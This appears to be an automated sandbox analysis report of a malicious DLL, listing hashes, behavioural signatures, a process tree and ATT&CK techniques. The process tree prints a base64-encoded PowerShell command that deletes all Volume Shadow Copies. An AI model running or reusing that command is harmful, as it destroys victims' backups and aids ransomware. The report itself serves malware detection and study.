ed70847aeee2bd0df8f5787c4f580bf7b8e46d7f46b8f6e2bf082c4014c90261

General

Target

ed70847aeee2bd0df8f5787c4f580bf7b8e46d7f46b8f6e2bf082c4014c90261.dll
Size

116KB
MD5

64cf38b177bd1da0e273d65643b38b38
SHA1

68befa14bf6358cd2c43f7e9583dea73e115d745
SHA256

ed70847aeee2bd0df8f5787c4f580bf7b8e46d7f46b8f6e2bf082c4014c90261
SHA512

1eaf6dbbd78c5088112cbb77433f7bb76a02a5761acf06eca2ed93248da369df71a1ab6aee34246054d60eb6605697e1d487d6e4b92c40785a7bb7226063d047

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1768 rundll32.exe
696 powershell.exe

pid	process
1768	rundll32.exe
696	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1768	rundll32.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeBackupPrivilege	652	vssvc.exe
Token: SeRestorePrivilege	652	vssvc.exe
Token: SeAuditPrivilege	652	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1476 wrote to memory of 1768	1476	rundll32.exe	rundll32.exe
PID 1768 wrote to memory of 696	1768	rundll32.exe	powershell.exe
PID 1768 wrote to memory of 696	1768	rundll32.exe	powershell.exe
PID 1768 wrote to memory of 696	1768	rundll32.exe	powershell.exe
PID 1768 wrote to memory of 696	1768	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\ed70847aeee2bd0df8f5787c4f580bf7b8e46d7f46b8f6e2bf082c4014c90261.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1476

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\ed70847aeee2bd0df8f5787c4f580bf7b8e46d7f46b8f6e2bf082c4014c90261.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:696

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/696-56-0x000007FEFBF31000-0x000007FEFBF33000-memory.dmp

Filesize
8KB

Download
memory/696-58-0x0000000002270000-0x0000000002272000-memory.dmp

Filesize
8KB

Download
memory/696-59-0x0000000002272000-0x0000000002274000-memory.dmp

Filesize
8KB

Download
memory/696-60-0x0000000002274000-0x0000000002277000-memory.dmp

Filesize
12KB

Download
memory/696-57-0x000007FEF32C0000-0x000007FEF3E1D000-memory.dmp

Filesize
11.4MB

Download
memory/696-61-0x000000001B710000-0x000000001BA0F000-memory.dmp

Filesize
3.0MB

Download
memory/696-62-0x000000000227B000-0x000000000229A000-memory.dmp

Filesize
124KB

Download
memory/1768-55-0x00000000758A1000-0x00000000758A3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads